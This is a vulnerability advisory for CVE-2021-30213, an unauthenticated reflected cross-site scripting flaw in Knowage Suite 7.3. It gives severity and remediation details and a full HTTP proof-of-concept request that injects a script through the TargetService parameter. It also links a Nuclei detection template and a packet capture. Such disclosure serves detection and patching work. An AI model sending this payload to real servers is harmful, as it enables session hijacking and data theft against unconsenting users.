| Title | Knowage Suite 7.3 - Cross-Site Scripting |
|---|---|
| Author | alph4byt3 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02977 |
| CVE ID | CVE-2021-30213 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss knowage eng vuln |
Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in ‘/servlet/AdapterHTTP’ via the ‘targetService’ parameter.
GET /knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/14.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30213.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-30213.pcap
N/AN/A